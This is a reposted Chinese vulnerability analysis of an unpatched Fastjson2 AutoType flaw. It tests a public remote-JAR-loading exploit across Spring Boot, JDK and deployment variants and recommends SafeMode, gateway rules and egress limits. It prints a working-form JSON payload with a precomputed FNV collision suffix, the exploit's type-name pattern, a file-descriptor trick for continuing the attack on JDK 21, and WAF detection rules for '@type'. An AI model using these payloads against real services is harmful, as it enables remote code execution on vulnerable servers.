Fastjson2AutoType安全问题确认:现有版本尚无正式修复,公开EXP到底能走多远

admin 2026-08-04 07:27:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Fastjson2AutoType安全问题已由维护方确认,但正式修复尚未发布。公开EXP利用ObjectReaderSeeAlso路径,无需FNV碰撞,但依赖业务接口使用带SeeAlso的基类。实验表明,在SpringBoot可执行JAR环境中,远程JAR加载可能成功,但在外置WAR或非Spring框架中则否。JDK21下存在ClassFormatError,但可通过FD续接绕过。建议立即启用SafeMode,并配合Nginx过滤@type键及收紧后端出站策略作为缓解措施。 综合评分: 85 文章分类: 漏洞分析,安全工具,解决方案,WEB安全,安全建设


cover_image

Fastjson2 AutoType 安全问题确认:现有版本尚无正式修复,公开 EXP 到底能走多远

天黑说嘿话

2026年7月29日 09:22 浙江

在小说阅读器读本章

去阅读

以下文章来源于MessFreeSecurity ,作者messfree

MessFreeSecurity .

提供社区优质咨询服务

PR #7695 没有合并;公开 SeeAlso 路线省去了 FNV 碰撞,却增加了业务类型和类加载器条件。本文复核 Spring Boot 2/3、四种 Web 运行时、JDK 8/21、外置 WAR、非 Spring 框架和 SafeMode 对照组。

Fastjson2 维护方已经确认 AutoType 类型解析路径存在安全问题,并表示正在推进正式修复。维护方同时澄清:PR #7695 已关闭且没有合并进主干,回复时所有已发布版本都没有包含正式修复。

风险需要处置,范围也要说清。公开 ObjectReaderSeeAlso EXP 在特定条件下能把攻击者控制的类型名送进类加载器;它不依赖 FNV 前缀碰撞,但需要业务接口使用带 SeeAlso 的目标基类。公开远程 JAR 形式还明显依赖 Spring Boot 可执行 JAR 的类加载环境。

本地实验观察到三组现象:

  • Spring Boot 2.7 + JDK 8 的 Tomcat、Jetty、Undertow、WebFlux 四组均完成远程 marker 类初始化;
  • Spring Boot 2.7/3.3 + JDK 21 的八组环境均先下载 JAR,再触发 ClassFormatError;同一进程继续复用残留 JAR 文件描述符后,八组均完成第二阶段 marker 初始化;
  • Solon、Jersey、RESTEasy、纯 Java、Tomcat/Jetty 外置 WAR 都进入了 ObjectReaderSeeAlso,但所测部署形态没有产生远程 JAR 请求。

正式修复发布前,业务先开启:

-Dfastjson2.parser.safeMode=true

官方确认了什么

维护方在 issue #7702 的回复里确认了四项信息:

  1. Fastjson2 的 AutoType 类型解析路径存在安全问题;
  2. 问题在特定条件下可能被利用;
  3. PR #7695 不是已合并的正式修复;
  4. 正式修复会通过独立 PR 合并,并随后续版本发布。

图 1|官方口径:维护方确认 AutoType 路径存在安全问题,并说明 PR #7695 已关闭且未合并。截图支持“问题已确认、发布版尚无正式修复”,不替代后续安全公告。

PR #7695 仍然有分析价值。候选补丁主要做了三件事:

  • 拒绝类型名中的 :! 等 URL 特殊字符;
  • 白名单哈希命中后继续核对真实文本前缀;
  • 在 TypeUtils.loadClass() 前补充统一校验。

这些改动指向同一个边界:用户控制的类型名经过不足的校验后进入了类加载器。最终修复代码可能调整,处置状态应以新 PR、Release 和安全公告为准。

两条 AutoType 路线不要混在一起

此前披露的 FNV 路线发生在 AutoType 默认关闭分支。程序逐字符计算类型名的运行中哈希,只要某个中间前缀命中 acceptHashCodes,旧逻辑就可能继续加载完整类型名。

这条路径可以概括为:

校验:prefix
使用:prefix + suffix

FNV 前缀碰撞 Payload 长什么样

这条路线里的“碰撞字符”不是一组可以到处复用的固定尾巴。Payload 的结构是:确定网络地址、端口和路径后,针对它们前面的全部字符重新求一段碰撞后缀,再在后面拼接待加载的类资源名。

jar:http:..HOST:PORT.PATH.COLLISION_SUFFIX!.PACKAGE.CLASS
└────────── 参与前缀碰撞计算 ──────────┘└─ 哈希命中后交给类加载器 ─┘

以本文本地 Marker 实验为例,JSON 形态如下:

[
{
"@type":"jar:http:..localhost:18181.x.\ubabf\u0a51\u0290\u4cd2!.probe.Marker",
"value":1
}
]

JSON 解码后,Fastjson2 实际参与计算的前缀是:

jar:http:..localhost:18181.x.몿ੑʐ䳒

按照代码中的逐字符 FNV-1a 计算,这段前缀的结果为:

FNV1a64(prefix) = 0xa8aaa929446ffce4
                = -6293031534589903644L

这正是 ObjectReaderProvider 默认写入 acceptHashCodes 的哈希。命中发生在 ! 之前,但旧逻辑随后交给 loadClass() 的仍是包含 !.probe.Marker 的完整字符串。中括号只表示请求根节点是数组,用来稳定进入通用对象元素的解析入口;它不参与 @type 的哈希,也不是漏洞成立的关键。

需要特别注意:HOSTPORTPATH 都属于被计算的前缀。任意一项发生变化,抵达碰撞后缀之前的 FNV 状态都会变化,\ubabf\u0a51\u0290\u4cd2 也就不再对应这个默认哈希,必须针对新的完整前缀重新计算。因此,上面的字符串是 localhost:18181/x 这一组本地条件下的样例,不是任意地址都能复用的通用 Payload。

检查对象和加载对象不是同一段文本,因此候选补丁增加了真实前缀核对。

公开 EXP 走的是另一条入口。示例接口把请求体解析为带有 @JSONType(seeAlso=...) 的具体基类,Fastjson2 因而创建 ObjectReaderSeeAlso。这个 Reader 的内部特征携带 SupportAutoType,攻击者控制的类型名可以继续进入 TypeUtils.loadClass()

外部 JSON
    ↓
JSON.parseObject(body, BaseType.class)
    ↓
ObjectReaderSeeAlso
    ↓
checkAutoType(typeName, BaseType, features)
    ↓
TypeUtils.loadClass(typeName)
    ↓
线程上下文类加载器

SeeAlso 路线省去了碰撞计算,却把难点转移到了业务类型。远程类需要继承接口实际使用的基类,攻击者还要掌握几项信息:

  • 基类完整包名;
  • 基类是否配置 SeeAlso
  • 接口是否按这个具体类型解析请求体;
  • 基类是否允许外部子类继承;
  • 生成类是否能通过 isAssignableFrom() 检查。

公开仓库同时提供目标程序和远程类生成器,上述信息全部已知。开源项目、公开 SDK 和版本固定的商业产品更容易暴露这些信息;关闭详细错误、业务代码不可见的黑盒系统,定位成本会高很多。

所以,“无需 FNV 碰撞”不等于“任意 Fastjson2 接口都能直接套用同一请求”。

类加载器决定公开链能走多远

同一个 Animal.class 解析入口放进不同部署形态后,结果出现了明显分层。

图 2|本地实验矩阵:Spring Boot 可执行 JAR 组产生远程 JAR 请求;非 Spring 和外置 WAR 对照组到达 SeeAlso 后停在类查找阶段。结论限定于图中版本和打包方式。

Spring Boot 2.7 的 Jetty、Undertow 和 WebFlux 请求线程使用 LaunchedURLClassLoader;Tomcat 请求线程显示 TomcatEmbeddedWebappClassLoader。Spring Boot 3 的 Tomcat 和 Jetty 虽然显示容器 WebApp ClassLoader,其父加载器仍是 Boot 的 LaunchedClassLoader

外置 WAR 组把 Fastjson2 放在 WEB-INF/lib,Tomcat 和 Jetty 都创建了 ObjectReaderSeeAlso,但远程 HTTP 计数保持为 0。Solon、Jersey、RESTEasy 和纯 Java程序也得到相同的负面对照结果。

问题出在运行时资源解析方式,而不是 Spring MVC 这个名字。换用 Boot 内置 Tomcat、Jetty、Undertow 或 Netty,也没有切断公开链的远程获取阶段。

JDK 8 和 JDK 21 不是同一个结果

公开 EXP 的特殊类型名大致呈现为:

jar:http:..HOST:PORT.PATH!.Marker

外部字符串没有 /。Spring Boot 类加载器查找类资源时会把点号转换成路径分隔符,最终尝试访问:

jar:http://HOST:PORT/PATH!/Marker.class

JDK 8 实验完成了远程 JAR 下载、类定义和静态初始化。JDK 21 也会下载 JAR,但 HotSpot 随后校验 class 文件内部名称。http:// 对应的连续斜杠触发:

ClassFormatError:
Illegal class name "jar:http://HOST:PORT/PATH!/Marker"

所以,JDK 21 一阶段只走到“下载完成、类定义失败”。通过 Java 层的外部类名检查,不代表 class 文件内部名称也会通过。

JDK 21 的 FD 续接补上了后半段

一阶段出现 ClassFormatError 后,Spring Boot 类加载器已经把远程 JAR 保存为临时缓存文件。目录项可能已经删除,JVM 仍持有打开的文件描述符。

远程 JAR
    ↓
jar_cache 临时文件
    ↓
JVM 持有 FD

Linux 可以通过 /proc/self/fd/N 访问进程 FD,macOS 对应 /dev/fd/N。第二次请求落到同一 JVM 后,可以从 FD 重新打开 JAR。第二阶段不再使用带 http:// 的内部名称,因此避开一阶段的连续斜杠问题。

图 3|本地实验:Boot 2/3 与四种 Web 运行时在 JDK 21 上均完成 FD marker 初始化。marker 只设置 JVM 系统属性,用于确认远程类完成初始化。

八组成功不能直接换算成生产成功率。FD 续接还依赖几项工程条件:

  • 两次请求进入同一个 JVM;
  • 一阶段已经下载并打开远程 JAR;
  • 类加载器在异常后继续持有缓存 FD;
  • 第二阶段命中正确 FD;
  • 操作系统暴露进程 FD 路径;
  • 远程类满足目标基类的继承关系;
  • 后端允许访问攻击者控制的 HTTP 服务。

负载均衡、实例扩缩容、FD 生命周期、请求限速、容器权限和出站策略都会改变成功率。公开一阶段失败只能限定那份代码,JDK 21 也不应被直接归为低优先级。

消息中间件依赖不等于消息自动进入 Fastjson2

本地实验直接调用了 Kafka、RabbitMQ、RocketMQ 和 Dubbo 的实际默认转换边界。

  • Spring Kafka StringJsonMessageConverter 使用 Jackson;
  • Spring Rabbit Jackson2JsonMessageConverter 使用 Jackson;
  • RocketMQ Spring 的组合转换器把 JSON 转成普通业务对象;
  • Dubbo Hessian2 和 Fastjson2 字符串往返都把 @type 保持为字符串数据。

上述测试都没有产生远程 JAR 请求。

如果监听器收到 String 后又显式调用 JSON.parseObject(payload, BaseType.class),风险判断要回到宿主应用的类加载环境。运行在 Spring Boot 可执行 JAR 中的消费程序,仍需按 Boot 组结果排查。

正式修复前先切断公开路径

Fastjson2 会在初始化时读取 SafeMode。推荐 JVM 参数:

-Dfastjson2.parser.safeMode=true

兼容属性也有效:

-Dfastjson.parser.safeMode=true

两个属性不要设置成冲突的值。修改 JVM 启动参数后要重启应用。

图 4|本地负面对照:两个 SafeMode 属性分别启用后,Boot 2.7 + Tomcat + JDK 8 的远程 GET 均为 0,marker 保持未设置。

Nginx 作为第二道防线

业务完全不使用多态 @type 时,网关可以拒绝任意层级出现这个键的 JSON。

只有在 WAF、njs 或 Lua 已经读取请求体时,原始字符串正则才适合短期应急。标准 Nginx rewrite 阶段的 $request_body 可能为空:

if ($request_body ~* '"\s*@type\s*"\s*:') {
    return 403;
}

这条 if 不适合作为正式防线。Nginx 原生正则不理解 JSON 结构,还会受到请求体落盘、Unicode 转义和压缩请求体影响。更稳妥的方式是让 ModSecurity、Nginx JavaScript 或 OpenResty Lua 解析 JSON,再递归检查键名。

ModSecurity 可以先启用 JSON 请求体解析器:

SecRule REQUEST_HEADERS:Content-Type \
"@rx (?i)^application/(?:[a-z0-9.+-]+\+)?json" \
"id:100100,phase:1,pass,nolog,ctl:requestBodyProcessor=JSON"

SecRule ARGS_NAMES "@contains @type" \
"id:100101,phase:2,deny,status:403,log,msg:'Blocked JSON @type key'"

严格 API 还可以拒绝未经网关检查的压缩 JSON,并限制请求体大小:

if ($http_content_encoding != "") {
    return 415;
}

client_max_body_size 1m;

收紧后端出站

公开链需要后端 JVM 主动获取远程 JAR。容器 NetworkPolicy、主机防火墙或云安全组可以把出站目标收敛到业务白名单,重点限制:

业务 JVM → 任意公网 HTTP/HTTPS
业务 JVM → 非必要内网地址
业务 JVM → 云元数据与管理网段

网关处理入站 JSON,出站策略负责截断外部资源获取。两者覆盖的链路不同。

处置优先级可以压缩成五步:

P0  JVM 开启 SafeMode
P1  网关解析 JSON 后拒绝任意层级的 @type
P2  限制业务 JVM 出站网络
P3  盘点 SeeAlso 基类和 Spring Boot 可执行 JAR
P4  跟进并升级官方正式修复版本

最后说说我的判断

官方回复已经结束了“问题是否存在”的争论,但没有把所有运行环境归成同一种风险。

Fastjson2 的类型解析路径存在缺陷;SeeAlso 公开链也确实省去了 FNV 碰撞。完整利用还要同时满足业务基类、打包方式、类加载器、JDK、出站网络,以及高版本 JDK 的同进程 FD 条件。

这些限制不适合拿来忽略风险。Spring Boot 可执行 JAR 是常见部署方式,JDK 21 的一阶段异常也没有阻止本地二阶段 marker 初始化。资产排查至少要同时记录:

Fastjson2 版本
解析目标类型
SeeAlso 配置
Spring Boot 打包方式
JDK 版本
实例调度方式
出站网络策略
SafeMode 状态

补丁发布前,SafeMode、解析后拦截 @type 和出站白名单已经可以切断公开链的关键位置。正式修复版本发布后,再用同一组对照实验复测,确认远程 GET、FD 残留和 marker 三项都消失。


参考资料

  1. Fastjson2 Issue #7702:https://github.com/alibaba/fastjson2/issues/7702
  2. Fastjson2 PR #7695:https://github.com/alibaba/fastjson2/pull/7695
  3. heart147/fastjson2-rce:https://github.com/heart147/fastjson2-rce
  4. Fastjson2 Releases:https://github.com/alibaba/fastjson2/releases
  5. OpenJDK ClassFileParser:https://github.com/openjdk/jdk/blob/master/src/hotspot/share/classfile/classFileParser.cp

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:天黑说嘿话 《Fastjson2 AutoType 安全问题确认:现有版本尚无正式修复,公开 EXP 到底能走多远》

数据中心是如何工作的? 网络安全文章

数据中心是如何工作的?

文章总结: 数据中心是数字社会核心基础设施,通过服务器、存储和网络设备协同工作,为互联网服务提供计算、存储和网络能力。它并非简单机房,而是包含电力、制冷等复杂配
评论:0   参与:  0